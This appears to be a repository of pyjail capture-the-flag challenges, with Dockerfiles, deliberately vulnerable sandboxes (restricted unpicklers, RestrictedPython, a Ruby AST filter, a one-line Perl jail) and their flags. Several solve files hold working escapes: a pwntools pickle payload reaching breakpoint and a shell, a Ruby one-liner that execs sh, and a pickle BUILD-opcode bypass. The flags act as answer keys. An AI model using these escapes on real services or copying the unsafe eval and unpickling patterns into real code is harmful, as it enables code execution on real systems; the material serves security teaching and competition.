7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=39M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=20 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/pickled-magic/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{idk_about_mag1c_but_this_is_definitely_pickled}
2 |
--------------------------------------------------------------------------------
/pickled-magic/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | # modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
3 | import pickle, numpy, io
4 | from pickle import _getattribute
5 | class RestrictedUnpickler(pickle.Unpickler):
6 | def find_class(self, module, name):
7 | if module == 'numpy' and '__' not in name:
8 | return _getattribute(numpy, name)[0]
9 | raise pickle.UnpicklingError('bad')
10 |
11 | data = bytes.fromhex(input("(hex)> "))
12 | print(RestrictedUnpickler(io.BytesIO(data)).load())
13 |
14 |
--------------------------------------------------------------------------------
/pickled-magic/solve/README.md:
--------------------------------------------------------------------------------
1 | # pickled magic
2 |
3 | i checked which numpy submodules have import builtins so we can just get breakpoint or whatever and win (see [here](https://github.com/search?q=repo%3Anumpy%2Fnumpy%20%2Fimport%20builtins%2F&type=code))
4 |
5 | there are many ways to solve this but `numpy.ma.core.builtins.breakpoint` is what i happened to find first
6 |
7 | see solve.py
8 |
9 |
--------------------------------------------------------------------------------
/pickled-magic/solve/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from pickle import *
3 | from subprocess import check_output
4 |
5 | p = remote("localhost", 5000)
6 |
7 | # solve pow
8 | p.recvline()
9 | p.sendline(check_output(p.recvline().strip(),shell=True).strip())
10 |
11 | # win
12 | pl = b''
13 | pl += GLOBAL + b'numpy\nma.core.builtins.breakpoint\n' + EMPTY_TUPLE + REDUCE + STOP
14 | p.sendline(pl.hex().encode('ascii'))
15 | p.sendline(b'import os')
16 | p.sendline(b'os.system("sh")')
17 |
18 | print('you will have a shell give it a moment')
19 |
20 | p.interactive()
21 |
22 |
--------------------------------------------------------------------------------
/polyglo7quine/README.md:
--------------------------------------------------------------------------------
1 | # polyglo7quine
2 |
3 | category: pyjail/mainstream/ruby/perl/lua/php/c/cpp
4 |
5 | ## Description
6 |
7 | How many programming languages do you *REALLY* know?
8 |
--------------------------------------------------------------------------------
/polyglo7quine/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04 AS app
2 |
3 | # install main languages + curl for crystal
4 | ENV DEBIAN_FRONTEND=noninteractive
5 | RUN apt-get update && apt-get install -y \
6 | python3 \
7 | ruby \
8 | perl \
9 | lua5.3 \
10 | gcc \
11 | g++ \
12 | php \
13 | curl
14 |
15 | # install crystal
16 | RUN curl -fsSL https://crystal-lang.org/install.sh | bash
17 |
18 | # remove curl to make any possible exfils a bit more annoying
19 | RUN apt-get remove curl -y
20 |
21 | # build chal
22 | COPY chal.cr chal.cr
23 | RUN mkdir /app && \
24 | crystal build --no-debug --release --static --stats --progress -o /app/run chal.cr && \
25 | rm chal.cr && \
26 | chmod 711 /app/run
27 |
28 | # clean
29 | RUN apt-get clean \
30 | && rm -rf /var/lib/apt/lists/*
31 |
32 | # jail!!!!!
33 | FROM pwn.red/jail
34 | COPY --from=app / /srv
35 |
36 | ENV JAIL_MEM=20M JAIL_TMP_SIZE=5M
--------------------------------------------------------------------------------
/respy-evil-challenge/README.md:
--------------------------------------------------------------------------------
1 | # respy evil challenge
2 |
3 | category: pyjail/pwn
4 |
5 | ## description
6 |
7 | todo add description
8 |
9 |
--------------------------------------------------------------------------------
/respy-evil-challenge/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir RestrictedPython
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/respy-evil-challenge/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/respy-evil-challenge/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from RestrictedPython import compile_restricted
3 | from RestrictedPython import safe_globals
4 |
5 | from RestrictedPython.Guards import full_write_guard
6 | from RestrictedPython.Eval import default_guarded_getiter
7 | safe_globals['_write_'] = full_write_guard
8 | safe_globals['_getiter_'] = default_guarded_getiter
9 |
10 | source_code = input("gib code: ")
11 | byte_code = compile_restricted(source_code, '', 'eval')
12 | eval(byte_code, safe_globals, {})
13 |
--------------------------------------------------------------------------------
/respy-evil-challenge/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir RestrictedPython
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/respy-evil-challenge/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{now_go_d-O_void_f61c5030ae689b057f8a4d62}
2 |
--------------------------------------------------------------------------------
/respy-evil-challenge/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from RestrictedPython import compile_restricted
3 | from RestrictedPython import safe_globals
4 |
5 | from RestrictedPython.Guards import full_write_guard
6 | from RestrictedPython.Eval import default_guarded_getiter
7 | safe_globals['_write_'] = full_write_guard
8 | safe_globals['_getiter_'] = default_guarded_getiter
9 |
10 | source_code = input("gib code: ")
11 | byte_code = compile_restricted(source_code, '', 'eval')
12 | eval(byte_code, safe_globals, {})
13 |
--------------------------------------------------------------------------------
/respy-nice-challenge/README.md:
--------------------------------------------------------------------------------
1 | # respy nice challenge
2 |
3 | category: pyjail
4 |
5 | ## description
6 |
7 | todo put description
8 |
9 |
--------------------------------------------------------------------------------
/respy-nice-challenge/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir RestrictedPython
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/respy-nice-challenge/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/respy-nice-challenge/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from RestrictedPython import compile_restricted
3 | from RestrictedPython import safe_globals, utility_builtins
4 | exec_globals = {**safe_globals, **utility_builtins}
5 | exec_locals = {}
6 | code = input('code > ')
7 | code = compile_restricted(code, '', 'exec')
8 | exec(code, exec_globals, exec_locals)
--------------------------------------------------------------------------------
/respy-nice-challenge/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir RestrictedPython
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/respy-nice-challenge/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{hooray_we_love_python_sandbox_libraries}
2 |
--------------------------------------------------------------------------------
/respy-nice-challenge/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from RestrictedPython import compile_restricted
3 | from RestrictedPython import safe_globals, utility_builtins
4 | exec_globals = {**safe_globals, **utility_builtins}
5 | exec_locals = {}
6 | code = input('code > ')
7 | code = compile_restricted(code, '', 'exec')
8 | exec(code, exec_globals, exec_locals)
--------------------------------------------------------------------------------
/ruby-on-jails/README.md:
--------------------------------------------------------------------------------
1 | # ruby on jails
2 |
3 | category: mainstream/ruby
4 |
5 | ## description
6 |
7 | sorry i couldn't think of a better name for this challenge
8 |
--------------------------------------------------------------------------------
/ruby-on-jails/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ruby:3.3.4@sha256:0bf712ba12549864ccbc3fe092c2684ed1542138727a219729052942725c1498 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.rb /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 |
8 | RUN mv /srv/app/flag.txt /srv/app/flag-$(head -c16 /dev/urandom | xxd -c32 -p).txt
9 |
10 | ENV JAIL_MEM=30M JAIL_TIME=30 JAIL_CONNS_PER_IP=2
--------------------------------------------------------------------------------
/ruby-on-jails/handout/chal.rb:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/ruby
2 |
3 | AST = RubyVM::AbstractSyntaxTree
4 |
5 | $banned_opcodes = [
6 | :CALL, :FCALL, :OPCALL, :QCALL, :VCALL, :DXSTR, :XSTR, :ALIAS, :VALIAS
7 | ]
8 |
9 | def check(ast)
10 | if $banned_opcodes.include?(ast.type)
11 | puts "Banned opcode: #{ast.type}"
12 | exit 1
13 | end
14 | ast.children.map do |node|
15 | if node.is_a?(AST::Node)
16 | check(node)
17 | end
18 | end
19 | end
20 |
21 | STDOUT.sync = true
22 | print "Input your very sanitized code: "
23 | code = gets
24 |
25 | ast = AST.parse(code)
26 | check(ast)
27 |
28 | eval code
--------------------------------------------------------------------------------
/ruby-on-jails/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
--------------------------------------------------------------------------------
/ruby-on-jails/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ruby:3.3.4@sha256:0bf712ba12549864ccbc3fe092c2684ed1542138727a219729052942725c1498 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.rb /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 |
8 | RUN mv /srv/app/flag.txt /srv/app/flag-$(head -c16 /dev/urandom | xxd -c32 -p).txt
9 |
10 | ENV JAIL_MEM=30M JAIL_TIME=30 JAIL_CONNS_PER_IP=2
--------------------------------------------------------------------------------
/ruby-on-jails/remote/chal.rb:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/ruby
2 |
3 | AST = RubyVM::AbstractSyntaxTree
4 |
5 | $banned_opcodes = [
6 | :CALL, :FCALL, :OPCALL, :QCALL, :VCALL, :DXSTR, :XSTR, :ALIAS, :VALIAS
7 | ]
8 |
9 | def check(ast)
10 | if $banned_opcodes.include?(ast.type)
11 | puts "Banned opcode: #{ast.type}"
12 | exit 1
13 | end
14 | ast.children.map do |node|
15 | if node.is_a?(AST::Node)
16 | check(node)
17 | end
18 | end
19 | end
20 |
21 | STDOUT.sync = true
22 | print "Input your very sanitized code: "
23 | code = gets
24 |
25 | ast = AST.parse(code)
26 | check(ast)
27 |
28 | eval code
--------------------------------------------------------------------------------
/ruby-on-jails/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{hey_i_just_met_you_and_this_is_crazy_but_heres_my_number_so_call_me_maybe}
--------------------------------------------------------------------------------
/ruby-on-jails/solve/README.md:
--------------------------------------------------------------------------------
1 | # ruby on jails
2 |
3 | ```rb
4 | ->&x{x[Kernel,'sh']+=0}[&:exec]+=0
5 | ```
--------------------------------------------------------------------------------
/smiley-faiss/README.md:
--------------------------------------------------------------------------------
1 | # smiley-faiss
2 |
3 | category: pyjail/pickle
4 |
5 | ## description
6 |
7 | exploit the cartel's unpickler impl
8 |
9 |
--------------------------------------------------------------------------------
/smiley-faiss/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | COPY safernumpy/ /srv/app/safernumpy/
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/smiley-faiss/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/smiley-faiss/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | # slightly modified. original at https://github.com/facebookresearch/faiss/blob/main/contrib/rpc.py
3 | import pickle
4 | from io import BytesIO
5 | import importlib
6 |
7 | safe_modules = {
8 | 'numpy',
9 | 'numpy.core.multiarray',
10 | }
11 |
12 |
13 | class RestrictedUnpickler(pickle.Unpickler):
14 | def find_class(self, module, name):
15 | # Only allow safe modules.
16 | if "save" in name or "load" in name:
17 | return
18 | if module in safe_modules:
19 | import safernumpy
20 | import safernumpy.core.multiarray
21 | return getattr({"numpy": safernumpy, "numpy.core.multiarray": safernumpy.core.multiarray}[module], name)
22 | # Forbid everything else.
23 | raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
24 | (module, name))
25 |
26 | if __name__ == "__main__":
27 | #RestrictedUnpickler(BytesIO().load()
28 | RestrictedUnpickler(BytesIO(bytes.fromhex(input(">")))).load()
29 |
--------------------------------------------------------------------------------
/smiley-faiss/handout/safernumpy/__init__.py:
--------------------------------------------------------------------------------
1 | import safernumpy.core
2 | # cant have vulnerabilities in functions if there are no functions to begin with!
3 |
--------------------------------------------------------------------------------
/smiley-faiss/handout/safernumpy/core/__init__.py:
--------------------------------------------------------------------------------
1 | import safernumpy.core.multiarray
2 | # nuh uh
3 |
--------------------------------------------------------------------------------
/smiley-faiss/handout/safernumpy/core/multiarray/__init__.py:
--------------------------------------------------------------------------------
1 | # same goes here lol
2 |
--------------------------------------------------------------------------------
/smiley-faiss/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | COPY safernumpy/ /srv/app/safernumpy/
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/smiley-faiss/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{.;,;._.;,;._.;,;._.;,;._they_are_watching...beware!}
2 |
--------------------------------------------------------------------------------
/smiley-faiss/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | # slightly modified. original at https://github.com/facebookresearch/faiss/blob/main/contrib/rpc.py
3 | import pickle
4 | from io import BytesIO
5 | import importlib
6 |
7 | safe_modules = {
8 | 'numpy',
9 | 'numpy.core.multiarray',
10 | }
11 |
12 |
13 | class RestrictedUnpickler(pickle.Unpickler):
14 | def find_class(self, module, name):
15 | # Only allow safe modules.
16 | if "save" in name or "load" in name:
17 | return
18 | if module in safe_modules:
19 | import safernumpy
20 | import safernumpy.core.multiarray
21 | return getattr({"numpy": safernumpy, "numpy.core.multiarray": safernumpy.core.multiarray}[module], name)
22 | # Forbid everything else.
23 | raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
24 | (module, name))
25 |
26 | if __name__ == "__main__":
27 | #RestrictedUnpickler(BytesIO().load()
28 | RestrictedUnpickler(BytesIO(bytes.fromhex(input(">")))).load()
29 |
--------------------------------------------------------------------------------
/smiley-faiss/remote/safernumpy/__init__.py:
--------------------------------------------------------------------------------
1 | import safernumpy.core
2 | # cant have vulnerabilities in functions if there are no functions to begin with!
3 |
--------------------------------------------------------------------------------
/smiley-faiss/remote/safernumpy/core/__init__.py:
--------------------------------------------------------------------------------
1 | import safernumpy.core.multiarray
2 | # nuh uh
3 |
--------------------------------------------------------------------------------
/smiley-faiss/remote/safernumpy/core/multiarray/__init__.py:
--------------------------------------------------------------------------------
1 | # same goes here lol
2 |
--------------------------------------------------------------------------------
/smiley-faiss/solve/README.md:
--------------------------------------------------------------------------------
1 | # smiley-faiss
2 |
3 | ok basically one "well known"(ish) trick is that if you have getattr but not _getattribute (with ".") on a specific object, if you can get an attribute of that object that can have its attributes overwritten, it is easy to get rce
4 |
5 | by that i mean:
6 |
7 | ```
8 | class Dummy: pass
9 |
10 | outer = Dummy()
11 | outer.inner = Dummy()
12 | outer.inner.escape = {'woohoo': breakpoint}
13 | ```
14 |
15 | so basically if it was just an object and it had a dictionary attribute (e.g. `__builtins__`) with a valuable object (e.g. `breakpoint`), it is not possible without having this inner-outer setup
16 |
17 | if it is permitted in find_class to do `getattr(outer, name)` and also `getattr(outer.inner, name)` then one can `getattr(outer, "inner")` to get inner and then abuse the BUILD
18 | opcode, which allows for arbitrary setattr (you may see where this is going). so, by doing BUILD with slotstate and `getattr(outer.inner, "escape")`, then you can get the breakpoint function (in this example).
19 |
20 | however, with this challenge, one has to do a double extension with numpy.core and then numpy.core.multiarray. this is not possible with the original importlib impl for some reason because it bypasses our overwriting of attributes (probably because it is importing the module again instead of using getattr)
21 |
22 | so, a valid payload is
23 |
24 | ```(GLOBAL + b"numpy\ncore\n" + NONE + MARK + UNICODE + b'multiarray\n' + GLOBAL + b'numpy\ncore\n' + DICT + TUPLE2 + BUILD + POP + GLOBAL + b'numpy\ncore\n' + NONE + GLOBAL + b'numpy\n__builtins__\n' + TUPLE2 + BUILD + GLOBAL + b'numpy.core.multiarray\nbreakpoint\n' + EMPTY_TUPLE + REDUCE + STOP).hex()```
25 |
26 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/README.md:
--------------------------------------------------------------------------------
1 | # stupid crypto chall
2 |
3 | category: pyjail/crypto/golf
4 |
5 | ## description
6 |
7 | go crazy go stupid go stupid go crazy
8 |
9 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from random import random, seed
3 | from ast import literal_eval
4 |
5 |
6 | def main():
7 | a, b = input('> ').split(" ")
8 | if len(b) > 3346:
9 | print('nuh uh')
10 | exit()
11 | seed(literal_eval(b))
12 | total_prog = "".join([("".join(map(chr, range(32, 127))) + '\n')[int(random() * 96)] for i in range(literal_eval(a))])
13 | eval(total_prog)
14 |
15 |
16 | if __name__ == "__main__":
17 | main()
18 |
19 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{randomn't_c136143683607e7e4dc02b06a092ec4d}
2 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from random import random, seed
3 | from ast import literal_eval
4 |
5 |
6 | def main():
7 | a, b = input('> ').split(" ")
8 | if len(b) > 3346:
9 | print('nuh uh')
10 | exit()
11 | seed(literal_eval(b))
12 | total_prog = "".join([("".join(map(chr, range(32, 127))) + '\n')[int(random() * 96)] for i in range(literal_eval(a))])
13 | eval(total_prog)
14 |
15 |
16 | if __name__ == "__main__":
17 | main()
18 |
19 |
--------------------------------------------------------------------------------
/stupid-crypto-chall/solve/README.md:
--------------------------------------------------------------------------------
1 | # stupid crypto chall
2 |
3 | See [solve.py](solve.py)
--------------------------------------------------------------------------------
/substitute-teacher/README.md:
--------------------------------------------------------------------------------
1 | # substitute teacher
2 |
3 | category: esolang
4 |
5 | ## description
6 |
7 | i overheard we had a sub so i thought class was going to be easy... this is not what i thought they meant by "substitute teacher"
8 |
9 | flag is in format `jail{[a-z_]+}` for this challenge.
10 |
11 |
--------------------------------------------------------------------------------
/substitute-teacher/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_CPU=125 JAIL_TIME=1600 JAIL_CONNS_PER_IP=1
8 |
--------------------------------------------------------------------------------
/substitute-teacher/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/substitute-teacher/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from random import randint
3 |
4 |
5 | def run_prog(state: str, prog: str):
6 | steps = 0
7 | assert " " not in state
8 | before_outer = None
9 | splitted = prog.splitlines(keepends=False)
10 | assert len(splitted) < 200, "too long code"
11 | while True:
12 | if before_outer == state:
13 | break
14 | before_outer = state
15 | for line in splitted:
16 | if len(line.strip()) == 0:
17 | continue
18 | statement = line.split(" ")
19 | if len(statement) == 1:
20 | if statement[0] == "@":
21 | if before_outer != state:
22 | break
23 | else:
24 | before = None
25 | while True:
26 | if before == state:
27 | break
28 | before = state
29 | state = state.replace(statement[0], statement[1])
30 | steps += 1
31 | assert steps < 10000, "too many steps"
32 | assert len(state) < 4000, "too many state"
33 | return state
34 |
35 |
36 | def check_xor(prog: str):
37 | for _ in range(60):
38 | a, b = randint(1, 1000), randint(1, 1000)
39 | if str(a ^ b) != run_prog(f"{a}^{b}", prog):
40 | return False
41 | return True
42 |
43 |
44 | def input_multiline() -> str:
45 | total = ""
46 | while (line := input("> ")) != "":
47 | total += line + '\n'
48 | return total
49 |
50 |
51 | def main():
52 | while True:
53 | choice = input("do you want to substitute? (y/n) > ")
54 | if choice.lower()[0] == "y":
55 | print("input prog, type on a line by itself to stop inputting")
56 | prog = input_multiline()
57 | if not check_xor(prog):
58 | print("incorrect")
59 | continue
60 | with open("flag.txt") as f:
61 | left, *chars = f.read().encode()
62 | for right in chars:
63 | left = int(run_prog(f"{left}^{right}", prog))
64 | print("xor'd flag bytes:", left)
65 | else:
66 | break
67 | print('bye')
68 |
69 |
70 | if __name__ == '__main__':
71 | main()
72 |
--------------------------------------------------------------------------------
/substitute-teacher/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_CPU=125 JAIL_TIME=1600 JAIL_CONNS_PER_IP=1
8 |
--------------------------------------------------------------------------------
/substitute-teacher/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{markov_algo_e5dfdd7d5cbc0d596}
2 |
--------------------------------------------------------------------------------
/substitute-teacher/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from random import randint
3 |
4 |
5 | def run_prog(state: str, prog: str):
6 | steps = 0
7 | assert " " not in state
8 | before_outer = None
9 | splitted = prog.splitlines(keepends=False)
10 | assert len(splitted) < 200, "too long code"
11 | while True:
12 | if before_outer == state:
13 | break
14 | before_outer = state
15 | for line in splitted:
16 | if len(line.strip()) == 0:
17 | continue
18 | statement = line.split(" ")
19 | if len(statement) == 1:
20 | if statement[0] == "@":
21 | if before_outer != state:
22 | break
23 | else:
24 | before = None
25 | while True:
26 | if before == state:
27 | break
28 | before = state
29 | state = state.replace(statement[0], statement[1])
30 | steps += 1
31 | assert steps < 10000, "too many steps"
32 | assert len(state) < 4000, "too many state"
33 | return state
34 |
35 |
36 | def check_xor(prog: str):
37 | for _ in range(60):
38 | a, b = randint(1, 1000), randint(1, 1000)
39 | if str(a ^ b) != run_prog(f"{a}^{b}", prog):
40 | return False
41 | return True
42 |
43 |
44 | def input_multiline() -> str:
45 | total = ""
46 | while (line := input("> ")) != "":
47 | total += line + '\n'
48 | return total
49 |
50 |
51 | def main():
52 | while True:
53 | choice = input("do you want to substitute? (y/n) > ")
54 | if choice.lower()[0] == "y":
55 | print("input prog, type on a line by itself to stop inputting")
56 | prog = input_multiline()
57 | if not check_xor(prog):
58 | print("incorrect")
59 | continue
60 | with open("flag.txt") as f:
61 | left, *chars = f.read().encode()
62 | for right in chars:
63 | left = int(run_prog(f"{left}^{right}", prog))
64 | print("xor'd flag bytes:", left)
65 | else:
66 | break
67 | print('bye')
68 |
69 |
70 | if __name__ == '__main__':
71 | main()
72 |
--------------------------------------------------------------------------------
/substitute-teacher/solve/README.md:
--------------------------------------------------------------------------------
1 | # substitute teacher
2 |
3 | todo put solve ideas
4 |
5 |
--------------------------------------------------------------------------------
/tiniest/README.md:
--------------------------------------------------------------------------------
1 | # tiniest
2 |
3 | category: mainstream/perl
4 |
5 | ## description
6 |
7 | We had a bet to see who could write the smallest jail...
8 |
--------------------------------------------------------------------------------
/tiniest/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM perl:5.40.0@sha256:545d7c6a7b9d2951fab2631d5179098bd5c7e69bc00ca44b0e74e61d02b81de8 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.pl /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 |
8 | ENV JAIL_MEM=20M JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/tiniest/handout/chal.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env perl
2 | eval<>=~y/rev xs//cdr
--------------------------------------------------------------------------------
/tiniest/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/tiniest/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM perl:5.40.0@sha256:545d7c6a7b9d2951fab2631d5179098bd5c7e69bc00ca44b0e74e61d02b81de8 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.pl /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 |
8 | ENV JAIL_MEM=20M JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/tiniest/remote/chal.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env perl
2 | eval<>=~y/rev xs//cdr
--------------------------------------------------------------------------------
/tiniest/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{d1d_y0u_kn0w_th4t_93%_of_p41nt_sp14tt3r5_ar3_v4lid_p3rl_pr0gr4m5?}
--------------------------------------------------------------------------------
/tiniest/solve/README.md:
--------------------------------------------------------------------------------
1 | # tiniest
2 |
3 | Perl's substitution+eval syntax `s///e` allows one to perform arbitrary `eval`, provided that you can generate a useful string. Because it's Perl, the `/` delimiter can actually be any character, so `s eeee` is also valid syntax and bypasses the restrictions. In order to build a string, we can use the version string syntax `v69` (synonymous with `chr 69`). Due to the limited charset, generating numbers is difficult, but can be done `eval`ing `1111...(42 ones)...1111`. This turns into `1.11111111111111e+41`. This is all you really need to generate and `eval` arbitrary strings, but very careful substitution work is necessary to fit everything in the right way such that it forms a valid Perl payload. See [payload.pl](payload.pl) for inspiration (although it probably isn't very helpful).
4 |
--------------------------------------------------------------------------------
/void/README.md:
--------------------------------------------------------------------------------
1 | # void
2 |
3 | display name: 𝚟𝚘𝚒𝚍
4 |
5 | category: pyjail
6 |
7 | ## description
8 |
9 |
--------------------------------------------------------------------------------
/void/handout/docker/Dockerfile.local.prebuilt:
